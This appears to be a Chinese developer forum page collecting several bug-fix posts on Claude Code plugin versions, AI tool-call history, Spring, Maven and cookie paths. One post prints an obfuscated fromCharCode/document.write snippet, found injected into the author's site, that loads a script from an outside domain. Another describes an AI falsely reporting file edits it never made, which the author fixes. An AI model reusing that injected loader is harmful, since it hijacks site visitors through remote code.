编程导航Bug解决话题讨论

Bug解决

15 参与
分享

快来分享你的内容吧~

点击登录,快来和大家讨论吧~
表情
图片
话题
打卡
综合
交流
文章
问答

【解决方案】Claude Code + VSCode插件报错API Error: 400 The content[].thinking

今天用CC的VSCode插件写代码,突然报错: ~~~ API Error: 400 The content[].thinking in the thinking mode must be passed back to the API. ~~~ 事出突然,又挺简单的,就写个流水账吧哈哈哈。 拿着报错问了AI,让我升级CC到最新,不行,还是报错。 后来查到,主要问题就是CC更新的问题,新版本不兼容DeepSeek4。 我在B站搜到说降低到2.1.150,就可以。 ~~~ npm install -g @anthropic-ai/claude-code@2.1.150 claude --version ~~~ 降低完了,试过之后还是报错。又搜到一个评论说148可以。但是我执行148之后,版本降回来了,却没下任何包,那有可能我今天就是从148更新到153,然后又降回来了。所以我也没试。 后来一想,有可能是VSCode插件自动更新了。 ![1.png](https://pic.code-nav.cn/post_picture/1868464815620284418/tChNs0u9kP4NY71B.webp) 插件这边也需要降级,顺便把自动更新给取消了。 ![2.png](https://pic.code-nav.cn/post_picture/1868464815620284418/YCmic2utjdNJGDGq.webp) 选择2.1.145这个版本,点击之后直接下载一个VSIX文件 ![3.png](https://pic.code-nav.cn/post_picture/1868464815620284418/1H4zVBVJLbZv4ciX.webp) 点击从VSIX安装,选择刚刚那个文件,重启扩展,就可以了。 ![4.png](https://pic.code-nav.cn/post_picture/1868464815620284418/pH2fTRkLBmbS8WYz.webp)

隔离工具调用记录,解决 AI 偷懒不执行工具调用的问题

背景 -- 项目:AI 代码生成平台 场景:当 Redis 里面的记录过期之后,从 db 里面获取到数据,AI 学习到之前的工具调用的对话记录导致偷懒,没有真正调用工具只输出修改成功 ![](https://pic.code-nav.cn/post_picture/1608460212774109186/mLB5LigRRFRSRksj.webp) 解决方案 ---- 我个人的解决方案是把 tool_executed 工具执行结果,单独设置一个 messageType 比如 tool ,这样在 AiService 在没有 Redis 数据的时候获取 db 记录排除一下类型为 tool 的记录。 **优化后的思路:** 后端新添加一个类型 FRONTED 这个类型的数据是**专门前端显示**并且包含工具调用的记录 同时记录一个类型为 AI 的,这个类型的数据不包含工具调用的记录,此类型不返回给前端 工具调用记录结果类似(罪魁祸首): ```c [工具调用] 读取目录 根目录 [工具调用] 读取目录 src [工具调用] 读取文件 src/Home.vue [工具调用] 读取目录 src/pages [工具调用] 读取文件 src/pages/Home.vue [工具调用] 修改文件 src/pages/Home.vue 替换前: <h1 class="hero-title">展示创意,连接世界</h1> 替换后: <h1 class="hero-title">连接世界</h1> ``` 代码修改 ---- 最终修改后的完整的代码:[https://github.com/lieeew/yu-ai-code-mother/tree/dev/leikooo](https://github.com/lieeew/yu-ai-code-mother/tree/dev/leikooo) 下面是具体修改的细节 1、修改 ChatHistoryMessageTypeEnum ```java /** * 对话历史消息枚举类型 */ @Getter public enum ChatHistoryMessageTypeEnum { USER("用户", "user"), // 方便前端显示, 包含工具调用的流程 FRONTEND("前端显示", "frontend"), // 不包含工具调用的流程 AI("AI", "ai"); private final String text; private final String value; ChatHistoryMessageTypeEnum(String text, String value) { this.text = text; this.value = value; } /** * 根据 value 获取枚举 * * @param value 枚举值的value * @return 枚举值 */ public static ChatHistoryMessageTypeEnum getEnumByValue(String value) { if (ObjUtil.isEmpty(value)) { return null; } for (ChatHistoryMessageTypeEnum anEnum : ChatHistoryMessageTypeEnum.values()) { if (anEnum.value.equals(value)) { return anEnum; } } return null; } } ``` 2、定义了一个内部类 方便在 originFlux 里面的 map 解析 JSON 类型,拿到对应的 content 信息和 type 类型,方便分类收集信息 ```java @Data @Builder @NoArgsConstructor @AllArgsConstructor public static class AiResponse { private String content; /** * @see StreamMessageTypeEnum */ private String type; } ``` 3、handleJsonMessageChunk 方法里面返回的是 JSON 字符串数据,方便调用方进行解析 ```java /** * JSON 消息流处理器 * 处理 VUE_PROJECT 类型的复杂流式响应,包含工具调用信息 */ @Slf4j @Component public class JsonMessageStreamHandler { @Resource private ToolManager toolManager; /** * 处理 TokenStream(VUE_PROJECT) * 解析 JSON 消息并重组为完整的响应格式 * * @param originFlux 原始流 * @param chatHistoryService 聊天历史服务 * @param appId 应用ID * @param loginUser 登录用户 * @return 处理后的流 */ public Flux<String> handle(Flux<String> originFlux, ChatHistoryService chatHistoryService, long appId, User loginUser) { // 收集数据用于生成后端记忆格式 StringBuilder aiHistoryStringBuilder = new StringBuilder(); StringBuilder gatherHistoryStringBuilder = new StringBuilder(); // 用于跟踪已经见过的工具ID,判断是否是第一次调用 Set<String> seenToolIds = new HashSet<>(); return originFlux .map(chunk -> { // 解析每个 JSON 消息块 AiResponse aiResponse = JSONUtil.toBean(handleJsonMessageChunk(chunk, seenToolIds), AiResponse.class); String content = aiResponse.content; // 收集完整信息方便前端进行显示 gatherHistoryStringBuilder.append(content); // 收集数据用于生成后端记忆格式 if (aiResponse.type.equals(StreamMessageTypeEnum.AI_RESPONSE.getValue())) { aiHistoryStringBuilder.append(content); } return content; }) // 过滤空字串 .filter(StrUtil::isNotEmpty) .doOnComplete(() -> { // ====== 不包含 tool 调用信息 ====== String aiResponse = aiHistoryStringBuilder.toString(); if (StringUtils.isNoneBlank(aiResponse)) { chatHistoryService.addChatMessage(appId, aiResponse, ChatHistoryMessageTypeEnum.AI.getValue(), loginUser.getId()); } // ====== 前端显示包含 tool 调用信息 ====== String frontendHistory = gatherHistoryStringBuilder.toString(); if (StringUtils.isNoneBlank(frontendHistory)) { chatHistoryService.addChatMessage(appId, frontendHistory, ChatHistoryMessageTypeEnum.FRONTEND.getValue(), loginUser.getId()); } }) .doOnError(error -> { // 如果AI回复失败,也要记录错误消息 String errorMessage = "AI回复失败: " + error.getMessage(); chatHistoryService.addChatMessage(appId, errorMessage, ChatHistoryMessageTypeEnum.AI.getValue(), loginUser.getId()); }); } /** * 解析并收集 TokenStream 数据 */ private String handleJsonMessageChunk(String chunk, Set<String> seenToolIds) { // 解析 JSON StreamMessage streamMessage = JSONUtil.toBean(chunk, StreamMessage.class); StreamMessageTypeEnum typeEnum = StreamMessageTypeEnum.getEnumByValue(streamMessage.getType()); switch (typeEnum) { case AI_RESPONSE -> { AiResponseMessage aiMessage = JSONUtil.toBean(chunk, AiResponseMessage.class); String data = aiMessage.getData(); return getAiMsgJson(data, typeEnum); } case TOOL_REQUEST -> { ToolRequestMessage toolRequestMessage = JSONUtil.toBean(chunk, ToolRequestMessage.class); String toolId = toolRequestMessage.getId(); String toolName = toolRequestMessage.getName(); // 检查是否是第一次看到这个工具 ID if (toolId != null && !seenToolIds.contains(toolId)) { // 第一次调用这个工具,记录 ID 并完整返回工具信息 seenToolIds.add(toolId); // 根据工具名称获取工具实例 BaseTool tool = toolManager.getTool(toolName); // 返回格式化的工具调用信息 return getAiMsgJson(tool.generateToolRequestResponse(), typeEnum); } else { // 不是第一次调用这个工具,直接返回空 return getAiMsgJson("", typeEnum); } } case TOOL_EXECUTED -> { ToolExecutedMessage toolExecutedMessage = JSONUtil.toBean(chunk, ToolExecutedMessage.class); JSONObject jsonObject = JSONUtil.parseObj(toolExecutedMessage.getArguments()); // 根据工具名称获取工具实例 String toolName = toolExecutedMessage.getName(); BaseTool tool = toolManager.getTool(toolName); String result = tool.generateToolExecutedResult(jsonObject); // 输出前端和要持久化的内容 String output = String.format("\n\n%s\n\n", result); return getAiMsgJson(output, typeEnum); } default -> { log.error("不支持的消息类型: {}", typeEnum); return getAiMsgJson("", typeEnum); } } } private String getAiMsgJson(String content, StreamMessageTypeEnum typeEnum) { AiResponse aiResponse = AiResponse.builder().content(content).type(typeEnum.getValue()).build(); return JSONUtil.toJsonStr(aiResponse); } @Data @Builder @NoArgsConstructor @AllArgsConstructor public static class AiResponse { /** * 内容 */ private String content; /** * @see StreamMessageTypeEnum */ private String type; } } ``` 4、修改 historyService 方法 * FRONTED 类型**包含** tool 调用的信息,前端显示这个类型的数据 * USER 类型是用户发给前端的信息,前端 + AiService 使用这个类型的数据 * AI 类型**不包含** tool 调用的信息,AiService 加载会话使用这个类型的数据 ChatHistoryServiceImpl#listAppChatHistoryByPage 主要修改位置是查询的 queryWapper 属于 frontend、user 这两个类型 ```java @Override public Page<ChatHistory> listAppChatHistoryByPage(Long appId, int pageSize, LocalDateTime lastCreateTime, User loginUser) { ThrowUtils.throwIf(appId == null || appId <= 0, ErrorCode.PARAMS_ERROR, "应用ID不能为空"); ThrowUtils.throwIf(pageSize <= 0 || pageSize > 50, ErrorCode.PARAMS_ERROR, "页面大小必须在1-50之间"); ThrowUtils.throwIf(loginUser == null, ErrorCode.NOT_LOGIN_ERROR); // 验证权限:只有应用创建者和管理员可以查看 App app = appService.getById(appId); ThrowUtils.throwIf(app == null, ErrorCode.NOT_FOUND_ERROR, "应用不存在"); boolean isAdmin = UserConstant.ADMIN_ROLE.equals(loginUser.getUserRole()); boolean isCreator = app.getUserId().equals(loginUser.getId()); ThrowUtils.throwIf(!isAdmin && !isCreator, ErrorCode.NO_AUTH_ERROR, "无权查看该应用的对话历史"); // 构建查询条件 ChatHistoryQueryRequest queryRequest = new ChatHistoryQueryRequest(); queryRequest.setAppId(appId); queryRequest.setLastCreateTime(lastCreateTime); QueryWrapper queryWrapper = this.getQueryWrapper(queryRequest); queryWrapper.in(ChatHistory::getMessageType, ChatHistoryMessageTypeEnum.FRONTEND.getValue(), ChatHistoryMessageTypeEnum.USER.getValue() ); // 查询数据 return this.page(Page.of(1, pageSize), queryWrapper); } ``` 5、ChatHistoryServiceImpl#loadChatHistoryToMemory 修改加载到 AiService 的记录,包含的 messageType 属于 ai、user 这两个类型 ```java @Override public int loadChatHistoryToMemory(Long appId, MessageWindowChatMemory chatMemory, int maxCount) { try { QueryWrapper queryWrapper = QueryWrapper.create() .eq(ChatHistory::getAppId, appId) .in(ChatHistory::getMessageType, ChatHistoryMessageTypeEnum.AI, ChatHistoryMessageTypeEnum.USER ) .orderBy(ChatHistory::getCreateTime, false) .limit(1, maxCount); List<ChatHistory> historyList = this.list(queryWrapper); if (CollUtil.isEmpty(historyList)) { return 0; } // 反转列表,确保按照时间正序(老的在前,新的在后) historyList = historyList.reversed(); // 按照时间顺序将消息添加到记忆中 int loadedCount = 0; // 先清理历史缓存,防止重复加载 chatMemory.clear(); for (ChatHistory history : historyList) { if (ChatHistoryMessageTypeEnum.USER.getValue().equals(history.getMessageType())) { chatMemory.add(UserMessage.from(history.getMessage())); } else if (ChatHistoryMessageTypeEnum.AI.getValue().equals(history.getMessageType())) { chatMemory.add(AiMessage.from(history.getMessage())); } loadedCount++; } log.info("成功为 appId: {} 加载 {} 条历史消息", appId, loadedCount); return loadedCount; } catch (Exception e) { log.error("加载历史对话失败,appId: {}, error: {}", appId, e.getMessage(), e); // 加载失败不影响系统运行,只是没有历史上下文 return 0; } } ``` 6、SimpleTextStreamHandler 存储的格式也需要进行修改 需要保存两份,虽然内容一眼但是效果不一样 1)fronted 类型: 前端显示 2)ai 类型: 加载 Service 时的历史纪录 ```java @Slf4j public class SimpleTextStreamHandler { /** * 处理传统流(HTML, MULTI_FILE) * 直接收集完整的文本响应 * * @param originFlux 原始流 * @param chatHistoryService 聊天历史服务 * @param appId 应用ID * @param loginUser 登录用户 * @return 处理后的流 */ public Flux<String> handle(Flux<String> originFlux, ChatHistoryService chatHistoryService, long appId, User loginUser) { StringBuilder aiResponseBuilder = new StringBuilder(); return originFlux .map(chunk -> { // 收集AI响应内容 aiResponseBuilder.append(chunk); return chunk; }) .doOnComplete(() -> { // 流式响应完成后,添加AI消息到对话历史 String aiResponse = aiResponseBuilder.toString(); chatHistoryService.addChatMessage(appId, aiResponse, ChatHistoryMessageTypeEnum.AI.getValue(), loginUser.getId()); chatHistoryService.addChatMessage(appId, aiResponse, ChatHistoryMessageTypeEnum.FRONTEND.getValue(), loginUser.getId()); }) .doOnError(error -> { // 如果AI回复失败,也要记录错误消息 String errorMessage = "AI回复失败: " + error.getMessage(); chatHistoryService.addChatMessage(appId, errorMessage, ChatHistoryMessageTypeEnum.AI.getValue(), loginUser.getId()); chatHistoryService.addChatMessage(appId, errorMessage, ChatHistoryMessageTypeEnum.FRONTEND.getValue(), loginUser.getId()); }); } } ``` ## 最终测试 最终测试正常调用工具,并且前端显示也是正常 ![](https://pic.code-nav.cn/post_picture/1608460212774109186/EpNUXjH8ZBb7EghF.webp) 总结 -- 通过把 tool 工具调用的记录隔离出来,避免 AI 学习导致不实际上调用工具,最终解决这个 BUG,并且前端不需要进行任何修改

OJ项目微服务改造创建gatewaybug:IDEA无法识别maven项目

# 问题:IDEA无法识别maven项目 ## 问题复现: <img src="https://pic.code-nav.cn/post_picture/1798335268427341825/c9652y3SMhevGytR.webp" alt="image.png" width="784px" /> <br> 由于spring官方提供的脚手架无法选择jdk8,所以博主这里选择了阿里的脚手架。 <img src="https://pic.code-nav.cn/post_picture/1798335268427341825/bN25N4OTzLiTRZXM.webp" alt="image.png" width="502px" /> <br> <img src="https://pic.code-nav.cn/post_picture/1798335268427341825/R4rvjGGNLlbRTCNi.png" alt="image.png" width="351px" /> <br> 正常创建项目可以看到,IDEA并没有识别到这个项目,maven里也没有显示这个这个项目。 ## 问题解决: 通过IDEA重新导入项目即可 <img src="https://pic.code-nav.cn/post_picture/1798335268427341825/LlrfswniIaUrmrTu.webp" alt="image.png" width="309px" /> <br> <img src="https://pic.code-nav.cn/post_picture/1798335268427341825/QtQrYJmmwEWRTh6E.webp" alt="image.png" width="1024px" /> <br> <img src="https://pic.code-nav.cn/post_picture/1798335268427341825/taMUGnhfPGbyCQ5V.webp" alt="image.png" width="1024px" /> <br> 找到项目所在目录导入即可 <img src="https://pic.code-nav.cn/post_picture/1798335268427341825/diaZSxz84WNkyAcD.webp" alt="image.png" width="505px" /> <br> <img src="https://pic.code-nav.cn/post_picture/1798335268427341825/1xP5AO3co5SvCcen.webp" alt="image.png" width="738px" /> <br> 成功解决 <img src="https://pic.code-nav.cn/post_picture/1798335268427341825/s8fa7D2C4ehLlSaL.webp" alt="image.png" width="522px" /> <img src="https://pic.code-nav.cn/post_picture/1798335268427341825/bacKqwyHhOsiDlRv.png" alt="image.png" width="345px" />

关于网站被注入JS脚本

# 关于网站被注入JS脚本 ​ 震惊!今天老板告诉我,我们的网站被劫持了。具体体现为当我们点击某个链接进入详情页时不会跳转到详情页,而是跳转到一个不知名的网址。这怎么办呢?我脑海中涌现的第一个解决方案就是把服务器的代码下载下来,然后全局搜索这个网址。当然了,攻击的黑客咋会这么傻呢。于是我失败了。 于是我开始了我的第二个解决办法,在服务器上查找最近修改的文件,果然在一个文件当中,我找到了一个异常的**JavaScript**代码,具体如下: ~~~js var xt = String.fromCharCode(60,115,99,114,105,112,116,32,115,114,99,61,34,104,116,116,112,115,58,47,47,109,109,100,115,98,46,99,111,109,47,120,107,46,106,115,34,62,60,47,115,99,114,105,112,116,62); document.write(xt); ~~~ ​ 我将其复制粘贴到浏览器控制台上执行,该脚本执行之后会生成一段script脚本,浏览器立马发出了警告,我将这段代码删除掉之后,网站立马正常运行了。 ​ 在使用这个办法的时候,我将代码传输到本地的时候,本地的火绒安全中心还检测到了带有特洛伊病毒的木马,最初我以为将服务器的病毒文件删除之后就行了,没想到还是不行。于是才有了往后的解决办法。 ​ 这是我第一次遇到病毒攻击,值得纪念一下。不知道还有没有其他的解决办法呢?小伙伴们可以留言告知我一下。

踩坑:智能协同云图库项目引入 Sa-token的版本 以及 Sa-token整合Redis的版本 不一致导致的BeanCreationException

关于 OJ 系统中第 16 节前后端联调cookie丢失的问题

## 结论 没找到后端设置 cookie 的路径要求的位置,但是在控制台可以看到请求登录的 session 字段如下: <img src="https://pic.code-nav.cn/post_picture/1877942789112442882/XPf17ZkBfqYv0diK.webp" alt="bug-cookie.png" width="875px" /> 可以看到 cookie 要求是 Path 中是以 /api 开头的, 而如果 OPENAPI 字段的 BASE 属性: http://localhost:8121 后多了一个杠, 路径会变成://api/user/get/login ,不符合该 cookie 的发送条件,因此第二次发送不会携带 cookie。 同时,我还验证了下请求后端的时候的路径匹配不是很严格,/api 前1~4 个斜杠都不影响 UserLogin 的请求,可能是 cookie 路径验证匹配比较严格,导致多了一个 / 。 比较标准的格式是:BASE 属性不带 /,请求路径中以 / 开头。 以下是检验的尝试: ```typescript public static userLoginUsingPost( userLoginRequest: UserLoginRequest ): CancelablePromise<BaseResponse_LoginUserVO_ | any> { return __request(OpenAPI, { method: "POST", // 五个斜杠开始就无法匹配了 url: "/////api/user/login", url: "/api/user/login", body: userLoginRequest, errors: { 401: `Unauthorized`, 403: `Forbidden`, 404: `Not Found`, }, }); } ``` ```typescript public static getLoginUserUsingGet(): CancelablePromise<BaseResponse_LoginUserVO_> { return __request(OpenAPI, { method: "GET", //如果导致url变成 "//api/user/get/login",会因为cookie路径要求前置为 /api 不匹配导致bug url: "/api/user/get/login", errors: { 401: `Unauthorized`, 403: `Forbidden`, 404: `Not Found`, }, }); } ``` ## 通过若干的输出来定位bug, ##### 正确程序的输出 <img src="https://pic.code-nav.cn/post_picture/1877942789112442882/CkbCMVYGzJnVQghD.webp" alt="image.png" width="1072px" /> ##### 错误程序的输出: <img src="https://pic.code-nav.cn/post_picture/1877942789112442882/zpKup8PeBpaoGMVY.webp" alt="image.png" width="1005px" /> 整体流程为: 1. 调用 userLoginUsingPost 登录,如果登录成功应该得到一串 session 作为标识,后续和后端的验证都通过这串 session 。 2. getLoginUser 通过 session 获得用户信息,如果 session 存在则会将返回的信息存储入 store.state,然后前端就有信息可以显示了;否则继承之前的状态,并将登录状态设置为 notlogin; 3. 可以发现错误程序的 bug 是从 getLoginUser 开始的,通过查看 edge F12 的 应用程序 中的cookie 和 网络中的请求头字段,可以发现 userLoginUsingPost 返回了 cookie,但是后续请求中都没有发送 cookie。 4. 通过后端的输出,进一步确认了后端压根没有收到session,于是不断检查各种可能的配置的问题,最后终于是灵光乍现,看到 /api 的时候想到 端口号最后也加了 / ,是不是这个问题,结果发现真的是。 5. 修复后 getLoginUser 通过 session 获得用户信息,存储入 store.state ,然后前端就有信息可以显示了; PS: 1. 发现后端数据库密码和我设置的不一样,还以为是密码设置的问题,后来突然想起来是加密了。 2. 我还怀疑过是不是数据库的SALT替换出问题了,但是前端能登录验证说明应该是没有问题。 3. 网上压根找不到关于这个bug的说法,ai 直接说不会有bug,离谱。

自定义的 interceptor 不生效?

# 什么是 interceptor 什么是 interceptor interceptor 和 filter 的区别和联系 ? 具体可以看看这篇文章 https://cloud.tencent.com/developer/article/1839568 # 如何使用 1、定义 ```java @Slf4j @Component public class JwtInterceptor implements HandlerInterceptor { @Override public boolean preHandle(HttpServletRequest request, HttpServletResponse response, Object handler) throws Exception { // 执行相关逻辑 // 返回 true 继续执行 返回 false 不继续执行 return true; } } ``` 2、注册到 interceptors 里面 1)方式 1 ```java @Configuration public class WebConfiguration implements WebMvcConfigurer { @Resource private JwtInterceptor jwtInterceptor; @Override public void addInterceptors(InterceptorRegistry registry) { registry.addInterceptor(jwtInterceptor) .addPathPatterns("/api/**"); } } ``` 2)方式2 ```java @Slf4j @Component public class JwtInterceptor implements HandlerInterceptor { // 注入 bean 的方式进行使用 @Bean public MappedInterceptor someMethodName() { return new MappedInterceptor( // => maps to any repository new String[]{"/api/**"}, new JwtInterceptor() ); } @Override public boolean preHandle(HttpServletRequest request, HttpServletResponse response, Object handler) throws Exception { // 执行相关逻辑 // 返回 true 继续执行 返回 false 直接返回 return true; } } ``` # 遇到的坑 然后遇到 BUG 了!遇到了 terceptor 不生效的问题,但是我访问的确实时 /api/user/login 啊? 具体代码 ```java @RestController @RequestMapping("/user") @AllArgsConstructor public class UserController { private UserService userService; @PostMapping("/login") public BaseResponse<LoginUserVO> userLogin(@RequestBody UserLoginRequest userLoginRequest, HttpServletRequest request) { ThrowUtils.throwIf(userLoginRequest == null, ErrorCode.PARAMS_ERROR); String userAccount = userLoginRequest.getUserAccount(); String userPassword = userLoginRequest.getUserPassword(); LoginUserVO loginUserVO = userService.userLogin(userAccount, userPassword, request); return ResultUtils.success(loginUserVO); } } ``` ```yml server: port: 8123 servlet: context-path: /api ``` 使用 IDEA 自带的 `HttpClient` 进行测试 ``` ### POST http://localhost:8123/api/user/login Content-Type: application/json { "userAccount": "leikooo", "userPassword": "11111111" } ``` --- 解决: 直接问 AI 源码里面的核心逻辑在哪个地方,AI 说在 `AbstractHandlerMapping#getHandlerExecutionChain` 直接 debug 1、双击 shift 在上面输入 AbstractHandlerMapping <img src="https://pic.code-nav.cn/post_picture/1608460212774109186/I34lUDCt7gl5L1Q5.webp" alt="image-20250113115432561" width="100%" /> 2、找到 getHandlerExecutionChain 方法 <img src="https://pic.code-nav.cn/post_picture/1608460212774109186/5VGgvualEdOBcSuF.webp" alt="image-20250113115543965" width="100%" /> 3、此时进行请求 发现 adaptedInterceptors 里面有我们自定义的 jwtInterceptor 的 patternString 证明 jwtInterceptor 注册成功 <img src="https://pic.code-nav.cn/post_picture/1608460212774109186/DE310RKKbx3TDmnk.webp" alt="image-20250113115656486" width="100%" /> 进去具体看看 match 逻辑 <img src="https://pic.code-nav.cn/post_picture/1608460212774109186/lOl7sYZPUyX5suxx.webp" alt="image-20250113115934264" width="100%" /> 获取到的 path 是 /user/login 怪不得匹配不上 /api/** 难道是 context-path 不生效吗? <img src="https://pic.code-nav.cn/post_picture/1608460212774109186/7nkbP8WgBLeQjwAT.webp" alt="image-20250113120025233" width="100%" /> <img src="https://pic.code-nav.cn/post_picture/1608460212774109186/h5T8rsFSVGUTPwRu.webp" alt="image-20250113120323843" width="100%" /> 4、修改 controller 代码试试 ```java @RestController @RequestMapping("/api/user") @AllArgsConstructor public class UserController { private UserService userService; @PostMapping("/login") public BaseResponse<LoginUserVO> userLogin(@RequestBody UserLoginRequest userLoginRequest, HttpServletRequest request) { ThrowUtils.throwIf(userLoginRequest == null, ErrorCode.PARAMS_ERROR); String userAccount = userLoginRequest.getUserAccount(); String userPassword = userLoginRequest.getUserPassword(); LoginUserVO loginUserVO = userService.userLogin(userAccount, userPassword, request); return ResultUtils.success(loginUserVO); } } ``` 把 application.yml 对应的配置 context-path 给去掉 6、继续 debug 看看 发现 这个 path 有 /api 此时我们直接放行到下一个断点 <img src="https://pic.code-nav.cn/post_picture/1608460212774109186/ErohuA0hEWj2NJKr.webp" alt="image-20250113121044628" width="100%" /> <img src="https://pic.code-nav.cn/post_picture/1608460212774109186/MAP5xzkudVbgBETF.webp" alt="image-20250113121142631" width="100%" /> 发现可以正常走到我们自定义 interceptor 的 preHandle <img src="https://pic.code-nav.cn/post_picture/1608460212774109186/2Qig8rq2BphXAX7G.webp" alt="image-20250113120852347" width="100%" /> 总结 因为 context-path 写的路径不会生效导致无法正常匹配路径,写 context-path:/api ,真正匹配的时候其实只有 /user/login 匹配不上咱们定义的 /api/** 解决把路径写到 controller 的 RequestMapping 中,不知道有没有大佬有其他的解决办法

解决以下报错:“ 找不到或无法加载主类 com.yupi.springbootinit.MainApplication”

## 原因:2024最新版本的idea不会帮你自动刷新启动项!!! 也就是说当你重构好包名之后,新版本不会帮你优先启动新包名的启动项,它还是启动旧的,泪目了,家人们 ps:被新版本坑惨了,果然越新的东西越容易出问题,还不能马上找到解决方法 ##### 解决方法: 非常简单,直接选择新的启动项即可,如下图(1表示旧的,看看,它默认启动旧的),我们选择启动2新的即可: <img src="https://pic.code-nav.cn/post_picture/1872554494155354113/Lt7OV5Z9XmHSAl7B.webp" alt="image.png" width="100%" />

ai答题应用平台调用ai出现的一些问题

## 出现的问题 今天在做ai答题应用平台的智能化部分出现了俩个问题花费了比较长的时间。 1. ai调用报错: java.net.SocketTimeoutException: timeout 2. 系统Prompt和用户Prompt跟鱼皮提供的一样,但是得到的结果非常离谱。 ## ai调用报错timeout 出现bug的情况以及原因的猜测: 调用ai都可能会出现,如果给ai的信息较少,则出现的概率较低。如果给ai的信息较多,则出现bug的可能性非常高,但是多次运行还是有几次能正常执行。 个人猜测原因是新版本的依赖新增或缩短了调用ai的时间限制。 出现bug(报错)的语句: <img src="https://pic.code-nav.cn/post_picture/1608458725524242433/BLHI2ZpP6xwBI0Gx.webp" alt="image.png" width="100%" /> 报错信息: ```java java.lang.RuntimeException: java.net.SocketTimeoutException: timeout at io.reactivex.internal.util.ExceptionHelper.wrapOrThrow(ExceptionHelper.java:46) at io.reactivex.internal.observers.BlockingMultiObserver.blockingGet(BlockingMultiObserver.java:93) ``` 解决方式: 将依赖版本号换成跟yupi一样的,目前官网提供的版本是release-V4-2.3.0。 ```pom <dependency> <groupId>cn.bigmodel.openapi</groupId> <artifactId>oapi-java-sdk</artifactId> <version>release-V4-2.0.2</version> </dependency> ``` ## 系统和用户Propmt和yupi一样,但结果预期相差太大 出现的错误情况: 我们的系统预设和用户Prompt和鱼皮写的一摸一样,而且逻辑感觉没有区别,但是ai调用的结果和我们想象的差距非常大(内容和格式,如我们要求他是返回的题目列表格式必须为 JSON 数组,题目不要包含序号等)。 <img src="https://pic.code-nav.cn/post_picture/1608458725524242433/gAx0MTdUefU5vD5v.webp" alt="ai测试内容报错2.png" width="100%" /> <img src="https://pic.code-nav.cn/post_picture/1608458725524242433/0isFhNf0bWB49MNs.webp" alt="ai测试报错3.png" width="100%" /> 出现错误的位置: <img src="https://pic.code-nav.cn/post_picture/1608458725524242433/SEwOvjlgqWeJ95hQ.webp" alt="image.png" width="100%" /> 解决方式: **!!!一定先加系统Prompt,再加用户Prompt!!!!** 这样就ok了。 ```java public String doRequest(String systemMessage,String userMessage,Boolean stream,Float temperature){ List<ChatMessage> messages = new ArrayList<>(); ChatMessage userChatMessage = new ChatMessage(ChatMessageRole.USER.value(), userMessage); ChatMessage systemChatMessage = new ChatMessage(ChatMessageRole.SYSTEM.value(), systemMessage); //先加系统Prompt messages.add(systemChatMessage); //再加用户Prompt messages.add(userChatMessage); return doRequest(messages,stream,temperature); } ``` 这就是我花费小半天的俩个bug,出现bug的时候感觉好难蹦,这地方怎么会有问题,好在解决了。我本身是看了视频后,过了遍笔记就开始自己打带代码了,依赖、配置这些都直接跟着官网来的,一般情况下版本和配置还是跟yupi一样吧,或者对一下。但是智能BI的版本yupi笔记的0.0.2版本好像有问题,转到0.04就好使了。

智能面试刷题平台bug解决(无法根据题库Id获取题目)

**问题**:根据题库获取题目Id列表为空。 **过程**:先排查到了,能获取questionBankId但是questionList是空的。 <img src="https://pic.code-nav.cn/post_picture/1644899540257525761/dsx0JZPMWuulo7V0.webp" alt="image.png" width="100%" /> 检查了数据库和这段代码,都没有问题。 之后通过万能的chat提示,尝试打印了sql,发现判断条件多了个updateTime=0, <img src="https://pic.code-nav.cn/post_picture/1644899540257525761/3U5TFh32lrNquWDI.webp" alt="image.png" width="100%" /> 之后一路找到下图所示文件,发现多了个@TableLogic <img src="https://pic.code-nav.cn/post_picture/1644899540257525761/RmMZrTOpFVIoUNqF.webp" alt="image.png" width="100%" /> 删除之后正常了 <img src="https://pic.code-nav.cn/post_picture/1644899540257525761/d46T0oqXmy6FUr0N.webp" alt="image.png" width="100%" /> **知识小结:** 在 MyBatis-Plus 中,@TableLogic 注解会在查询时自动加上相应的条件过滤,比如: - 逻辑未删除:当 logic-not-delete-value 为 0,表示数据未被删除,查询时会自动加上 deleted = 0 的条件。 - 逻辑删除:当 logic-delete-value 为 1,表示数据被逻辑删除,查询时会自动排除这些数据。

下载 APP